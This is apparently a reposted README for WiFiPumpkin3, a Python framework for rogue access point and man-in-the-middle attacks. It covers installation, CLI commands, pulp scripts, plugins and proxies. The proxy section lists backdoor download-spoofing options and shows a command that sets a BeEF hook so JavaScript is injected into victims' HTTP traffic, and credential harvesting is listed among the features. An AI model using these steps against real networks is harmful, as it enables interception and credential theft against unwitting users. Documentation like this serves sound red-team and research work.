WiFiPumpkin3 : Powerful Framework For Rogue Access Point Attack

WiFiPumpkin3 is powerful framework for rogue access point attack, written in Python, that allow and offer to security researchers, red teamers and reverse engineers to mount a wireless network to conduct a man-in-the-middle attack.

Main Features

Rogue access point attack
Man-in-the-middle attack
Rogue Dns Server
Captive portal attack (captiveflask)
Intercept, inspect, modify and replay web traffic
WiFi networks scanning
DNS monitoring service
Credentials harvesting
Transparent Proxies
LLMNR, NBT-NS and MDNS poisoner (Responder3)
and more!

Supported Platforms

Python: you need Python 3.7 or later to run Wp3.

NOTE: The Wp3 require hostapd installed by default

Operating System:
- A recent version of Linux (we tested on Ubuntu 18.04 LTS);
- Please note: Windows is not supported.

Installation

The wifipumpkin3 written in Python 3 , you will need to have a working Python (version 3.7 or later) on your machine.

Note that

Windows is not supported.
Mac OS X is not supported. only docker version, but has been not tested.

Also Read – PowerSploit : A PowerShell Post-Exploitation Framework

Requirements

You will need to have a Wi-Fi adapter that supports Access-Point (AP) mode. The following list of OSs represents recommended environments to run wifipumpkin3 (wp3), as most of required dependencies are pre-installed. VMs or docker are also recommended.

Tools (pre-installed)

iptables (current: iptables v1.6.1)
iw (current: iw version 4.14)
net-tools (current: version (1.60+)
wireless-tools (current: version 30~pre9-12)
hostapd (current: hostapd v2.6)

OS (recommended)

OS	Version
Ubuntu	18.04 LTS bionic
Docker	Ubuntu 18.04.4 LTS bionic

Based On Debian Procedure

wifipumpkin3 use the port 53 for mount python dns server, when i try to install on Ubuntu 18.04, i got somes error because this “port 53 is used by another process”. This problem is caused by systemd-resolved to solve only follow the step bellow.

stop systemd-resolved “ sudo systemctl stop systemd-resolved”
edit /etc/systemd/resolved.conf with these

and execute this link file

sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf

Installation Procedure

if you’ve python 3.7 or later installed on your machine, it very simple to install the Wp3. Follow the steps:

Debian/Ubuntu

It is highly recommended install somes system packages, os-level dependencies.

sudo apt install python3.7-dev libssl-dev libffi-dev build-essential python3.7

$ git clone https://github.com/P0cL4bs/wifipumpkin3.git
$ cd wifipumpkin3
$ sudo make install

or grab a Debian *.deb package from GitHub Releases

$ sudo dpkg -i wifipumpkin3-1.0.0-all.deb

Install on Kali Linux

the Kali Linux by default has installed python3.8 is compartible with wp3, I recommend to install somes system packages, os-level dependencies.

$ sudo apt install libssl-dev libffi-dev build-essential
$ git clone https://github.com/P0cL4bs/wifipumpkin3.git
$ cd wifipumpkin3

now, we need to install the PyQt5, it very easy:

sudo apt install python3-pyqt5

or check if the pyqt5 is installed successful:

python3 -c “from PyQt5.QtCore import QSettings; print(‘done’)”

now, if you got the message done, nice. the next step is install the wp3:

$ sudo python3 setup.py install

if you see this message bellow, everything ok !

Finished processing dependencies for wifipumpkin3==1.0.0

now, let’s execute the app:

$ sudo wifipumpkin3

all done, will be see the CLI of wp3.

Installation python virtualenv

Virtualenv is a tool used to create an isolated Python environment. Virtualenv is the easiest and recommended way to configure a custom Python environment.

version of PyQt5
for install change in file requirements.txt the version of Qt5, `PyQt5==5.14.0` to `PyQt5==5.14.2`. This version 5.14.2 work fine on virtualenv without error with python-sip depedencies.

$ sudo python3.7 -m pip install –upgrade pip
$ git clone https://github.com/P0cL4bs/wifipumpkin3.git
$ cd wifipumpkin3
$ sudo python3.7 -m pip install virtualenv

now, you need execute with superuser root:

# virtualenv -p python3.7 venv
# source venv/bin/activate
# make install_env

if you see this message bellow, everything ok !

Finished processing dependencies for wifipumpkin3==1.0.0

now, let’s execute the app:

# wifipumpkin3

all done, will be see the CLI of wp3 on virtualenv activated.

When finished working in the virtual environment, you can deactivate it by running the following:

# deactivate

Installation on Docker Container

Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. the wp3 is full compatible to run on docker container. let’s go:

https://docs.docker.com/get-docker/

with docker.io installed and working fine, let’s take a look how to mount a container with wp3. how to install on ubuntu

$ git clone https://github.com/P0cL4bs/wifipumpkin3.git
$ cd wifipumpkin3
$ sudo docker build -t “wifipumpkin3”

this commands above will download and build a new container for us called wifipumpkin3, You’ll see Docker step through each instruction in your Dockerfile, building up your image as it goes. If successful, the build process should end with a message:

Successfully tagged wifipumpkin3

Now you need to run your image as a container, start a container based on your new image:

$ sudo docker run –privileged -ti –rm –name wifipumpkin3 –net host “wifipumpkin3”

all done, will be see the CLI of wp3 on docker with mode docker activated. 😉

About wireless adapters

Your wireless adapter and your kernel driver must support AP mode. In order to check this, execute this shell command:

iw list

If there is ‘AP’ in the list of “Supported interface modes”, your card has support for the desired mode.

Another method:

Find your kernel driver module in use by issuing the below command: lspci -k | grep -A 3 -i network (example module: ath9k) next, use the below command to find out your wifi capabilities (replace ath9k by your kernel driver): modinfo ath9k | grep depend If the above output includes “mac80211” then it means your wifi card will support the AP mode.

The adapter needs to have drivers for GNU/Linux.

another website list devices supported here
check kernel drive wireless.wiki

Usage

Interactive Session

Once started the tool with sudo wifipumpkin3 , you’ll be presented with an interactive session like the metasploit framework where you can enable or disable modules, plugin, proxy configure the ap and etc.

The interface CLI is very simple, basic commands you’ll need to perform operations such as setting a session like accesspoint (AP) information (bssid, channel, interface), start/stop accesspoint and monitor clients activitys joined on AP.

Pulps

Pulps makes reference to pulp taken from a pumpkin, which can be used for various mixtures. It is possible to script your interactive session using pulps files. Pulps (script files with a .pulp extension) are a powerful way to automate your attack, like metasploit’s .rc files, where each line of the file is a command that’ll be executed one for one.

let’s take a look, how to create a script for set the interface, enable to start without proxy,set ssid the network, set work without log for dns and start the access point.

# configure the interface
set interface wlan1
# set name of access point will be created
set ssid demo
# set noproxy plguin
set proxy noproxy
# ignore all log from pydns_server
ignore pydns_server
# start the Access Point
start

Once saved as demo.pulp file, you’ll be able to load and execute it via:

sudo wifipumpkin3 –pulp /path/to/demo.pulp

if you not want to use .pulp file, exist a options to use the paraments –xpulp or -x and each command can either be executed singularly, or concatenated by the ; in string. for example:

sudo wifipumpkin3 –xpulp “set interface wlan1; set ssid demo; set proxy noproxy; start”

Arguments Commands

The basic command line arguments ( wifipumpkin3 -h ) are:

-i INTERFACE

Network interface to bind to, if empty the default interface is old session started.

-s SESSION

Session for continue attack, if you pass the old session id, all log will be added on same session.

–pulp PULP

Interactive sessions can be scripted with .pulp file,a powerful way to automate your attack.

–xpulp XPULP

each command can either be executed singularly, or concatenated by the ; in string.

–wireless-mode WIRELESS_MODE

Use this options for set the wireless mode (static, docker), by default is static mode, but you can change if you want to run on docker container.

–no-colors

disable terminal colors and effects.

-v, –version

show program’s version number and exit.

Core Commands

help
- Will list all available commands available
clients
- show all clients connected on Access Point with advanced UI
ap
- show all variable and status for settings AP. You can see (bssid, ssid, channel, security, or status ap)
set
- set variable proxy,plugin and access point, this command set is like metasploit set command.
start
- start access point (AP), if not something wrong the will be see a new AP with hostapd program. also the proxy,plugin should be initialized.
stop
- stop access point, process, thread, plugin and proxy’s that is running in background.
ignore
- the message logger will be ignored, the parameters can be ( captiveflask, pumpkinproxy, pydns_server sniffkin3 ). if you type this command not be see anymore log in console WP.
restore
- the message logger will be restored, as you can see above this command is inverse of ignore with same parameters will be restore the console log.
info
- get info from the proxy/plugin, this command show some informations of proxy/plugin like (log path, config path, description )
jobs
- show all threads/processes in background. Sometimes you need to find the process id or thread name of process created by WP.
mode
- show all wireless mode available.
plugins
- show all plugins available and their status.
proxys
- show all proxy available and their status.
show
- show available modules.
search
- search modules by name, this will be implemented in the future when million OD modules :sunglasses: is available
use
- select module for modules, full inspiration in metasploit modules.

Examples

Plugins

The plugins are designed to add features to WP3 core and run parallel with access point (AP), WP3 provides facilities to develop plugins. Generally speaking, there is really a few things you have to do in order to get a plugin working.

Info

The most important is you can run multi plugins simultaneously, because the plugins has been designed to work only monitor and analyse the traffic generate by users connected on access point.

The basic command guidelines to get a plugins are:

if you want to enable or disable the plugin, follow command bellow.

wp3 > set plugin plugin_name true/false

if the plugin has subplugins, when type plugins you see somes options for set. you can to enable/disable subplugins with command, type tab to autocomplete ;):

wp3 > set plugin_name.subplugins_name true/false

Plugin developers and users are welcome to include your plugin into this project, take a look the guidelines how to create a plugin.

Proxys

The Proxys are designed to add features to WP3 core and run parallel with access point (AP), but redirect all traffic with iptables. Proxies work by intercepting a request, modifying the request if necessary, then handling or forwarding the request to its destination. When a user connects to a AP, the transparent proxy intercepts the request before passing it on to the provider.

Info

The most important is you can run one proxies each time , because the proxies has been designed to work for manipulate data packets redirecting all data for a specific port number

Available Porxy’s:

pumpkinproxy – Proxy for intercept network traffic on TCP protocol doc
captiveflask – Allow block Internet access for users until they open the page login page. doc
noproxy – Running without proxy redirect traffic

The basic command guidelines to get a plugins are:

if you want to select the proxy, follow command bellow.

wp3 > set proxy proxy_name

if the proxy has plugins, when type proxys you see somes options for set. you can to enable/disable plugin command, type tab to autocomplete ;):

wp3 > set proxy_name.plugin_name true/false

The example above is for enable/disable a plugin, but you can use same syntax to configure plugin parameter. you can see this parameter typing info proxy_name or using type like this example bellow, using tab to autocomplete.

wp3 > set pumpkinproxy. pumpkinproxy.beef pumpkinproxy.html_inject pumpkinproxy.beef.url_hook pumpkinproxy.html_inject.content_path pumpkinproxy.downloadspoof pumpkinproxy.js_inject pumpkinproxy.downloadspoof.backdoorExePath pumpkinproxy.js_inject.url pumpkinproxy.downloadspoof.backdoorPDFpath pumpkinproxy.no-cache pumpkinproxy.downloadspoof.backdoorWORDpath pumpkinproxy.replaceImages pumpkinproxy.downloadspoof.backdoorXLSpath pumpkinproxy.replaceImages.path wp3 > set pumpkinproxy.

let now set url_hook parameter the plugin beef to inject javascript in all request http.

wp3 > set pumpkinproxy.beef.url_hook http://172.16.149.141:3000/hook.js

Proxys developers and users are welcome to include your proxy into this project, take a look the guidelines how to create a proxy.

Modules

A module provides a features that not is necessary to use with access point, the must modules are projected for add a new functionality into attack, like devices discovery, services enumeration, perform deauthentication attacks and etc. Modules are introduced to add more functionalities to complement the attack.

Info

the syntax of modules basically follow the struct the modules of `metasploit`

The basic core command guidelines: